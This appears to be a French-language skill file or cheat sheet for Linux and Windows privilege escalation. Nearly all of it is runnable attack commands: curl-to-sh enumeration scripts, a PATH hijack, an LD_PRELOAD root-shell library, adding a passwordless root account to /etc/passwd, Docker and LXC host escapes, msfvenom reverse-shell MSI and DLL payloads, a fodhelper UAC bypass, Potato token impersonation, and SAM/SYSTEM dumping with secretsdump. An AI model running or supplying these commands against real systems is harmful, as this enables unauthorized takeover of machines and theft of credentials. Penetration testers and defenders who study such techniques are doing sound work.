| name | privilege-escalation |
| description | Guide complet d'élévation de privilèges Linux et Windows — linPEAS, winPEAS, SUID, sudo, capabilities, cron, PATH, services, DLL hijacking, token impersonation. |
Élévation de Privilèges — Guide Complet Linux & Windows
Linux — Élévation de privilèges
Énumération automatisée
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64
Vecteurs d'élévation courants
1. Sudo — La base
sudo -l
2. SUID / SGID
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
3. Capabilities Linux
getcap -r / 2>/dev/null
4. Cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
crontab -l
5. PATH Hijacking
echo $PATH
echo '#!/bin/bash' > /tmp/ls
echo '/bin/bash -p' >> /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
6. Kernel Exploits
uname -a
cat /etc/os-release
searchsploit linux kernel <version>
7. Docker / LXC
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
lxc init ubuntu:20.04 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt recursive=true
lxc start privesc && lxc exec privesc -- /bin/sh
8. Bibliothèques partagées (LD_PRELOAD)
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
setuid(0); setgid(0);
system("/bin/bash -p");
}' > shell.c
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so /chemin/vers/binaire
9. Fichiers et dossiers modifiables
echo "root2::0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
cat /etc/shadow | grep root
john root_hash.txt --wordlist=rockyou.txt
find / -name id_rsa 2>/dev/null
find / -name "*.pem" 2>/dev/null
Windows — Élévation de privilèges
Énumération automatisée
# WinPEAS — l'outil indispensable
# Télécharger et exécuter depuis :
# https://github.com/peass-ng/PEASS-ng/releases
winPEASx64.exe
# PowerUp.ps1 (PowerSploit)
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('...'); Invoke-AllChecks"
# Seatbelt
Seatbelt.exe -group=all
# Watson (vulnérabilités kernel)
Watson.exe
Vecteurs d'élévation courants
1. Token Impersonation (Potato family)
PrintSpoofer.exe -i -c "powershell -ep bypass"
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
2. Services mal configurés
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Tout le monde" *
sc config <Service> binpath= "C:\reverse.exe"
sc stop <Service> && sc start <Service>
3. AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi
msiexec /quiet /i shell.msi
4. DLL Hijacking
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o hijack.dll
5. UAC Bypass
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe"
Start-Process "C:\Windows\System32\fodhelper.exe"
6. Credential hunting (Windows)
findstr /si password *.txt *.ini *.cfg *.config *.xml *.ps1 *.bat *.vbs
gpp-decrypt <cpassword_encrypted>
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
7. Kernel exploits
systeminfo
wmic os get Caption,Version,BuildNumber
8. SeBackupPrivilege / SeRestorePrivilege
whoami /priv
robocopy /b C:\Windows\NTDS\ C:\temp\
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
impacket-secretsdump -sam sam -system system LOCAL
Cheatsheet rapide
==================================================
LINUX
==================================================
sudo -l # Vérifier sudo
find / -perm -4000 2>/dev/null # Binaires SUID
getcap -r / 2>/dev/null # Capabilities
cat /etc/crontab # Cron jobs
uname -a # Version kernel
id; groups # Groupes (docker, lxd)
==================================================
WINDOWS
==================================================
whoami /priv # Privilèges
whoami /groups # Groupes
systeminfo # Version OS
sc query state=all | findstr "SERVICE_NAME"
icacls "C:\Program Files\*" /T 2>nul | findstr "F Tout"
reg query HKLM\SOFTWARE\Policies\...
Ressources